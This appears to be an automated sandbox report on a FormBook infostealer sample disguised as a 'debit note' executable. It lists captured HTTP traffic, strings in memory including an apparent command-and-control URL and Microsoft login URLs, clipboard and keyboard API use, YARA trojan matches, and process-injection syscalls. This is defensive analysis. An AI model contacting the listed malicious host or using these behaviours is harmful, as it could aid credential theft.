            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 19 Sep 2024 13:06:18 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 774X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 19 Sep 2024 13:06:21 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 774X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 19 Sep 2024 13:06:23 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 774X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 19 Sep 2024 13:06:26 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 774X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound">
            Source: WrtyZOtiIHMYio.exe, 00000007.00000002.3520663575.0000000004C49000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.selftip.top
            Source: WrtyZOtiIHMYio.exe, 00000007.00000002.3520663575.0000000004C49000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.selftip.top/85su/
            Source: TapiUnattend.exe, 00000006.00000002.3521584391.000000000797B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
            Source: TapiUnattend.exe, 00000006.00000002.3521584391.000000000797B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
            Source: TapiUnattend.exe, 00000006.00000002.3521584391.000000000797B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
            Source: TapiUnattend.exe, 00000006.00000002.3521584391.000000000797B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
            Source: TapiUnattend.exe, 00000006.00000002.3519849797.0000000004270000.00000004.10000000.00040000.00000000.sdmp, WrtyZOtiIHMYio.exe, 00000007.00000002.3519005063.0000000003500000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://contacts.zoho.com/static/file?t=org&ID=456089&fs=thumb
            Source: TapiUnattend.exe, 00000006.00000002.3521584391.000000000797B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
            Source: TapiUnattend.exe, 00000006.00000002.3521584391.000000000797B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
            Source: TapiUnattend.exe, 00000006.00000002.3521584391.000000000797B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
            Source: TapiUnattend.exe, 00000006.00000002.3519849797.0000000004402000.00000004.10000000.00040000.00000000.sdmp, WrtyZOtiIHMYio.exe, 00000007.00000002.3519005063.0000000003692000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://fonts.googleapis.com/css?family=Roboto:400
            Source: TapiUnattend.exe, 00000006.00000002.3517555982.0000000002917000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
            Source: TapiUnattend.exe, 00000006.00000002.3517555982.0000000002917000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
            Source: TapiUnattend.exe, 00000006.00000002.3517555982.0000000002917000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
            Source: TapiUnattend.exe, 00000006.00000002.3517555982.00000000028EE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
            Source: TapiUnattend.exe, 00000006.00000002.3517555982.00000000028EE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
            Source: TapiUnattend.exe, 00000006.00000003.2270872256.000000000795B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
            Source: TapiUnattend.exe, 00000006.00000002.3521584391.000000000797B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
            Source: TapiUnattend.exe, 00000006.00000002.3519849797.0000000004270000.00000004.10000000.00040000.00000000.sdmp, WrtyZOtiIHMYio.exe, 00000007.00000002.3519005063.0000000003500000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.zoho.com/sites/?src=parkeddomain&dr=www.lanxuanz.tech
            Source: TapiUnattend.exe, 00000006.00000002.3519849797.0000000004270000.00000004.10000000.00040000.00000000.sdmp, WrtyZOtiIHMYio.exe, 00000007.00000002.3519005063.0000000003500000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.zoho.com/sites/images/professionally-crafted-themes.png
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0045A10F OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_0045A10F
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0045A10F OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_0045A10F
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0046DC80 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,0_2_0046DC80
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0044C37A GetKeyboardState,SetKeyboardState,PostMessageW,PostMessageW,SendInput,0_2_0044C37A
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0047C81C SendMessageW,DefDlgProcW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,0_2_0047C81C

            E-Banking Fraud

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000006.00000002.3518667344.0000000002AB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000002.2071101630.0000000003A90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000002.2071483262.0000000006000000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.3518738076.0000000002B00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000005.00000002.3518593623.00000000041E0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.3520663575.0000000004BE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000002.2070755438.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.3517293511.0000000002690000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

            System Summary

            barindex
            Malicious sample detected (through community Yara rule)
            Source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000006.00000002.3518667344.0000000002AB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000001.00000002.2071101630.0000000003A90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000001.00000002.2071483262.0000000006000000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000006.00000002.3518738076.0000000002B00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000005.00000002.3518593623.00000000041E0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000007.00000002.3520663575.0000000004BE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000001.00000002.2070755438.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000006.00000002.3517293511.0000000002690000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0042C683 NtClose,1_2_0042C683
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72B60 NtClose,LdrInitializeThunk,1_2_03C72B60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72DF0 NtQuerySystemInformation,LdrInitializeThunk,1_2_03C72DF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72C70 NtFreeVirtualMemory,LdrInitializeThunk,1_2_03C72C70
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C735C0 NtCreateMutant,LdrInitializeThunk,1_2_03C735C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C74340 NtSetContextThread,1_2_03C74340
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C74650 NtSuspendThread,1_2_03C74650
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72BE0 NtQueryValueKey,1_2_03C72BE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72BF0 NtAllocateVirtualMemory,1_2_03C72BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72B80 NtQueryInformationFile,1_2_03C72B80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72BA0 NtEnumerateValueKey,1_2_03C72BA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72AD0 NtReadFile,1_2_03C72AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72AF0 NtWriteFile,1_2_03C72AF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72AB0 NtWaitForSingleObject,1_2_03C72AB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72FE0 NtCreateFile,1_2_03C72FE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72F90 NtProtectVirtualMemory,1_2_03C72F90
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72FA0 NtQuerySection,1_2_03C72FA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72FB0 NtResumeThread,1_2_03C72FB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72F60 NtCreateProcessEx,1_2_03C72F60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72F30 NtCreateSection,1_2_03C72F30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72EE0 NtQueueApcThread,1_2_03C72EE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72E80 NtReadVirtualMemory,1_2_03C72E80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72EA0 NtAdjustPrivilegesToken,1_2_03C72EA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72E30 NtWriteVirtualMemory,1_2_03C72E30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72DD0 NtDelayExecution,1_2_03C72DD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72DB0 NtEnumerateKey,1_2_03C72DB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72D00 NtSetInformationFile,1_2_03C72D00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C72D10 NtMapViewOfSection,1_2_03C72D10
